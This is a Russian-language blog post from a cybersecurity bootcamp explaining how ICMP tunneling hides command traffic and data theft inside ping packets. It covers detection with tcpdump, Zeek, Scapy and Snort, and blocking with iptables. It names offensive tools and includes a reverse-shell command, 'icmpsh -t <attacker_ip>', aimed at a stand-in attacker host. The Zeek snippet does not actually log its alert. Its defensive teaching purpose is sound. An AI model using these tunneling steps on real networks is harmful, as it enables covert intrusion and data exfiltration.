Кибер‑буткемп 8200
Почему МыПрограммаДля КогоПодробная ПрограммаЦеныFAQБлогЗаписаться Сейчас
Кибер‑буткемп 8200
Почему МыПрограммаДля КогоПодробная ПрограммаЦеныFAQБлог
Записаться Сейчас

Select Language

© 2026 Кибер‑буткемп 8200

8200 Cyber Bootcamp

Элитарное обучение кибербезопасности, вдохновлённое Unit 8200, с упором на практические навыки.

Быстрые ссылки

  • Главная
  • Программа
  • Подробный план
  • Стоимость
  • FAQ

Контакты

Мы в соцсетях

© 2026 8200 Cyber Bootcamp. Все права защищены.

Что такое ICMP-туннелирование и как защититься от него

Что такое ICMP-туннелирование и как защититься от него

8/24/2026
ICMP-туннелирование — это скрытая техника, которую злоумышленники используют для передачи вредоносных команд или вывода данных через сетевые защиты, пряча их внутри ICMP-трафика, такого как пинги. Узнайте, как это работает, почему это эффективно, а также способы обнаружения и защиты вашей сети...

Что такое ICMP туннелирование и как защититься от него

Введение в ICMP туннелирование

ICMP туннелирование, иногда называемое "скрытые атаки на основе пинга", - это скрытая техника сетевой атаки, при которой злоумышленники скрывают командно-управляющий (C2) трафик или операции по эксфильтрации данных внутри иначе безопасных пакетов Интернет-протокола управления сообщениями (ICMP). Поскольку ICMP—обычно известный по запросам ping—обычно остается незамеченным для систем обнаружения и предотвращения вторжений, он представляет собой серьезную проблему для команд ИТ-безопасности.

В этом руководстве мы объясним, что такое ICMP туннелирование, как его используют злоумышленники, почему это привлекательный метод уклонения и—что самое важное—как специалисты по безопасности и сетевые администраторы могут обнаружить и защититься от атак через ICMP туннели. Мы начнем с объяснений для новичков и перейдем к продвинутым методам обнаружения, включая примеры из реального мира и образцы кода для сканирования, мониторинга и разбора сетевого трафика на наличие активности ICMP туннелирования.


Содержание

  • Что такое ICMP? Основы
  • Что такое ICMP Туннелирование?
  • Как работает ICMP Туннелирование?
  • Почему злоумышленники используют ICMP туннели
  • Реальные примеры атак через ICMP туннель
  • Обнаружение ICMP туннелирования на практике
  • Сканирование активности ICMP туннелей
  • Защита от ICMP туннелирования
  • Продвинутая защита: статические модели обнаружения
  • Заключение
  • Источники

Что такое ICMP? Основы

Протокол управления сообщениями в Интернете (ICMP) является фундаментальной частью набора интернет-протоколов. Он предназначен для сообщений об ошибках, сетевой диагностики и статуса.

Ключевые факты:

  • ICMP на уровне 3: Расположен на сетевом уровне над IP.
  • Общие сообщения: Включают Echo Request и Echo Reply (ping), Destination Unreachable, Time Exceeded и другие.
  • Обычное использование: Диагностика сети (например, ping, traceroute), отчеты об ошибках между сетевыми устройствами.

Пример: Основной ICMP Трафик

Когда вы вводите:

ping google.com

Ваш компьютер генерирует серию пакетов ICMP Echo Request, и Google (если разрешает пинг) отвечает ICMP Echo Reply пакетами.


Что такое ICMP Туннелирование?

ICMP туннелирование - это прием, в котором произвольные данные помещаются внутри ICMP пакетов. Эти данные могут включать файлы, подлежащие эксфильтрации, команды оболочки или даже целое TCP соединение, скрытое внутри пакетных запросов или ответов на пинг, которые выглядят нормально.

Поскольку организации часто разрешают ICMP трафик через свои периметровые брандмауэры (для легитимной диагностики), злоумышленники используют это доверие, чтобы передавать скрытые данные или создавать "черные ходы" в сеть.

Определение:

ICMP туннелирование - это скрытый метод коммуникации, при котором злоумышленники кодируют вредоносные или несанкционированные данные в ICMP пакетах для обхода сетевых контрольных механизмов доступа.


Как работает ICMP Туннелирование?

ICMP туннелирование использует структуру ICMP пакетов—особенно Echo Request/Reply—для переноса дополнительных, скрытых данных.

Структура ICMP Пакета

  • Тип, Код: Указывает сообщение ICMP (например, 8 = Echo Request, 0 = Echo Reply)
  • Контрольная сумма: Для обнаружения ошибок
  • Идентификатор и номер последовательности: Для отслеживания
  • Данные: Необязательное поле, используемое злоумышленниками для переноса скрытых данных

Процесс туннелирования пошагово

  1. Злоумышленник захватывает хост: Получает доступ к устройству внутри целевой сети.
  2. Запускает ICMP туннель-клиент: Клиент кодирует команды или данные внутри ICMP Echo пакетов—часто используя такие инструменты, как icmpsh, ptunnel или собственные скрипты.
  3. ICMP пакеты отсылаются на C2 сервер: Сервер злоумышленника за пределами брандмауэра получает пакеты и декодирует полезную нагрузку.
  4. Ответы кодируются: Удаленный сервер отправляет инструкции или ответы обратно, скрытые в ICMP Echo Reply пакетах.
  5. Обход брандмауэра: Поскольку трафик выглядит как нормальная активность пинга, он часто минует проверку и разрешен стандартными сетевыми правилами.

Пример: Пакет ICMP туннеля

Обычный ICMP Echo Request пакет может выглядеть как:

Поле Пример Значения
Тип 8 (Echo Request)
Код 0
Контрольная сумма 6920
Идентификатор 13
Номер последовательности 250
Данные "Hello, world!"

ICMP туннельная атака может помещать закодированные в base64 эксфильтрованные данные в секцию "Данные".


Почему злоумышленники используют ICMP туннели

Обход периметровой безопасности

Брандмауэры обычно блокируют прямые внешние соединения (например, исходящий SSH, эксфильтрация через HTTP/S).
Однако ICMP часто разрешен для диагностики сети, даже через организационные границы.

C2 (Командование и Управление)

Продвинутые постоянные угрозы (APT) используют ICMP туннели для управления компрометированными хостами, отправки команд и извлечения файлов—все это не вызывает типичных сетевых тревог.

Методы уклонения

  • Расщепление полезной нагрузки: Разбивка данных на небольшие фрагменты ICMP.
  • Шифрование: Скрытие полезной нагрузки с помощью шифрования или кодирования (Base64, XOR).
  • Имитация нормального трафика: Генерация ICMP пакетов с обычными интервалами или только в ответ на легитимные запросы.

Инструменты для ICMP Туннелирования

Ряд открытых инструментов для наступательной безопасности поддерживают ICMP туннелирование:

  • icmpsh: Обратная оболочка через ICMP.
  • ptunnel: Туннелирование TCP соединений через ICMP.
  • Hans: Туннелирование TCP, включая ICMP.
  • Собственные скрипты: Многие злоумышленники разрабатывают собственные инструменты для обхода обнаружения на основе сигнатур.

Реальные примеры атак через ICMP туннель

Пример 1: Эксфильтрация данных

Внутренний злоумышленник или вредоносное ПО на рабочей станции хочет незаметно вывезти чувствительные файлы из организации.

Шаги:

  1. Компрометированный хост соединяется с C2 злоумышленника, используя ICMP туннель-клиент.
  2. Файлы (например, /etc/passwd) разбиваются, кодируются и скрываются в нескольких Echo запросах.
  3. Удаленный сервер злоумышленника собирает пакеты и восстанавливает украденный файл.

Пример 2: Удаленная оболочка через ICMP

Пентестеры и злоумышленники используют такие инструменты, как icmpsh:

  • Внутренний хост запускает icmpsh -t <attacker_ip>.
  • Сервер злоумышленника (вне сети) ожидает ICMP Echo запросы, декодирует и отвечает через Echo Reply.
  • Двунаправленная связь оболочки теперь установлена без открытия рискованных исходящих портов.

Пример из практики: ICMP Туннели в Природе

Сообщается о случаях, когда APT и вредоносное ПО (в частности Backdoor.Win32.ICMPdoor) использовали ICMP туннелирование для перманентного доступа в высокозащищенных средах, которые иначе блокируют весь исходящий трафик, кроме HTTP/HTTPS и ICMP.


Обнаружение ICMP Туннелирования на практике

Обнаружение ICMP туннелирования основано на выявлении аномальных шаблонов или инспекции полезной нагрузки ICMP пакетов.

На что обратить внимание

  • Необычный размер ICMP пакета: Нормальная полезная нагрузка пинга - 32-56 байт; для эксфильтрации данных нужно намного больше.
  • Высокий объем/частота: Чрезмерное или регулярное количество ICMP Echo запросов к редким внешним адресам.
  • Большая или непечатная полезная нагрузка данных: Закодированные/зашифрованные строки вместо простого текста для проверки.
  • Неожиданные конечные точки: Внутренние хосты "пингуют" подозрительные публичные IP.

Инструменты для анализа ICMP трафика

tcpdump

Инструмент для захвата пакетов, часто используется для инспекции ICMP трафика.

# Захват всего ICMP трафика, подробный вывод
sudo tcpdump -n -v icmp

Пример подозрительного вывода (усечено):

IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024

Примечание: 1024 байта - это значительно больше, чем нормальные нагрузки ICMP пинга!

Wireshark

Графический анализатор пакетов.

  1. Фильтр-трафик: icmp
  2. Ищите Echo пакеты с большой/странной нагрузкой; щелкните правой кнопкой мыши и выберите "Follow ICMP Stream", чтобы увидеть содержимое.
Zeek (ранее Bro)

Мощный инструмент для мониторинга сетевой безопасности с встроенным сценариями для ICMP.

Скрипт для логирования ненормальных нагрузок ICMP пакетами:

event icmp_message(c: connection, icmp: icmp_hdr)
    {
    if ( c$id$orig_h !in Site::internal_networks )
        {
        # Логировать или сообщать о больших нагрузках
        if ( c$payload && |c$payload| > 500 )
            local alert = fmt("Large ICMP payload from %s to %s", c$id$orig_h, c$id$resp_h);
        }
    }
Командная строка Linux (Bash/Python)

Bash пример: Логирование всех исходящих данных пинга.

sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"

Пример Python: Разбор pcap для аномальных нагрузок ICMP

from scapy.all import *

def scan_icmp_pcap(pcap_file):
    packets = rdpcap(pcap_file)
    for pkt in packets:
        if pkt.haslayer(ICMP):
            if len(pkt[ICMP].payload) > 100:
                print(f"Suspicious ICMP from {pkt[IP].src} to {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")

scan_icmp_pcap('capture.pcap')

Сканирование активности ICMP туннелей

Для проактивного обнаружения злоупотребления ICMP туннелями важны регулярные сканирования и обнаружение аномалий.

Шаг 1: Определение нормы использования ICMP

  • Мониторинг нормального ICMP трафика: объем, назначения, размер пакетов.
  • Идентифицировать типичные внутренние и внешние конечные точки.

Шаг 2: Анализ аномалий

Используйте такие инструменты, как ELK stack, Zeek, Wireshark для:

  • Алертов о необычно больших или частых ICMP пакетах.
  • Корреляции ICMP источников/назначений с известной информацией об угрозах.

Шаг 3: Сканирование на Linux/Unix

Найдите крупнейшие ICMP пакеты в реальном времени:

sudo tcpdump -ni eth0 icmp and greater 200

Список размеров пакетов из дампа:

sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr

Шаг 4: Автоматизированные скрипты

Python Scapy: Отчет о запросах эха с большой полезной нагрузкой

from scapy.all import *

def detect_large_icmp(pcap_file):
    for pkt in rdpcap(pcap_file):
        if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
            if len(pkt[ICMP].payload) > 200:
                print(f"Large ICMP Echo Request: {pkt[IP].src} -> {pkt[IP].dst}, size={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")

Защита от ICMP туннелирования

1. Ограничьте трафик ICMP

  • Политика брандмауэра: Блокируйте ICMP внешне, или по крайней мере ограничивайте на известных управлениях станциями. Разрешайте только Echo Request/Reply, если это необходимо.
  • Фильтрация на выходе: Предотвращайте отправку ICMP на внешние адреса, кроме доверенных случаев.

Пример: Блокировать исходящий ICMP с помощью iptables

sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP

2. Инспектируйте нагрузки ICMP

  • Внедрите решения IDS/IPS (такие как Snort, Suricata) с сигнатурами для ICMP туннелирований или правилами для аномальных нагрузок.
  • Мониторьте размер, частоту и назначения нагрузок.

Пример правила для Snort:

alert icmp any any -> any any (msg:"Suspicious ICMP Payload Size"; dsize:>200; sid:1000001; rev:1;)

3. Логгирование и оповещение

  • Обеспечьте логирование всех ICMP пакетов, особенно больших или странных нагрузок.
  • Настройте уведомления SIEM для аномалий.

4. Обучение пользователей и ограничение привилегий

  • Предотвращение генерации ICMP внешними хостами от обычных пользователей/зараженных рабочих станций.
  • Отключите исходящий ICMP на всех, кроме необходимых устройств.

5. Продвинутое обнаружение угроз

  • Используйте машинное обучение/эвристику (см. интеграции Zeek/Suricata) для выявления шаблонов трафика, соответствующих известным инструментам ICMP туннелирования.
  • Регулярно просматривайте логи конечных точек/сети.

6. Патчи и обслуживание

  • Обновляйте сетевые устройства и программное обеспечение для исправления уязвимостей обработки ICMP.
  • Будьте в курсе текущих инструментов атак и сигнатур.

Продвинутая защита: статические модели обнаружения

Исследования показали, что статическое мониторинг—отслеживание потоков и размеров ICMP пакетов, а не просто их состояние или последовательность—может быть малонагруженным и масштабируемым способом обнаружения туннелей.

Принципы статического обнаружения

  • Каждое пакет рассматривается отдельно: Выявление подозрительных шаблонов на основе индивидуального размера пакета ICMP и частоты.
  • Не требуется отслеживания сеансов: Меньше нагрузки на брандмауэры/маршрутизаторы.
  • Автоматизация оповещений о порогах: Например, флагировать все пакеты ICMP Echo >500 байт.

Влияние на производительность

Согласно Singh & Nordström, статические модели могут эффективно выявлять скрытые каналы, не оказывая значительного влияния на конечные хосты или маршрутизаторы—даже в большом масштабе.


Заключение

ICMP туннелирование представляет собой медленную угрозу, которая легко сливается с легитимной сетевой операцией, что делает обнаружение и защиту сложной задачей для команд безопасности. Благодаря широкому использованию ICMP для диагностики и частоте, с которой организации разрешают такой трафик через свои брандмауэры, он является предпочтительным средством для злоумышленников, создающих скрытое командное управление и контроль, эксфильтрирующих чувствительные данные или получая доступ к скомпрометированным хостам.

Основные выводы

  • ICMP туннелирование использует доверенные протоколы для скрытой связи.
  • Изысканные злоумышленники используют его для командования и эксфильтрации данных.
  • Обнаружение требует мониторинга на предмет аномального размера, частоты и назначений ICMP пакетов.
  • Защита—это смесь строгой фильтрации на выходе, ограничения ICMP, анализа полезной нагрузки и автоматизированного логирования/оповещения.
  • Модели статического обнаружения позволяют масштабируемую защиту без деградации производительности сети.

Базируя нормальную активность ICMP в вашей сети и применяя как сигнатурное, так и обнаружение на основе аномалий, ваша организация может нейтрализовать этот скрытый вектор угроз, прежде чем он приведет к потере данных или дополнительному компрометации.


Источники

  • Detect and Stop ICMP Tunneling – ExtraHop Blog
  • What is ICMP Tunneling? – DeepStrike
  • Malicious ICMP Tunneling: Defense against the Vulnerability – Semantic Scholar
  • ICMP Tunnels and Covert Channels – PacketLife.net
  • icmpsh project – Github
  • Ping Tunnel (ptunnel)
  • Snort – Network Intrusion Detection System
  • Wireshark – Network Protocol Analyzer
  • Zeek – Network Security Monitor

Защитите ваш периметр—и никогда не игнорируйте скромный ping!

🚀 ГОТОВЫ К ПОВЫШЕНИЮ УРОВНЯ?

Поднимите свою карьеру в кибербезопасности на новый уровень

Если вы нашли этот контент ценным, представьте, чего вы могли бы достичь с нашей комплексной 47-недельной элитной обучающей программой. Присоединяйтесь к более чем 1200 студентам, которые изменили свою карьеру с помощью техник Подразделения 8200.

Записаться на полную программуПосмотреть учебный план
97% Трудоустройство
Элитные техники Подразделения 8200
42 Практические лаборатории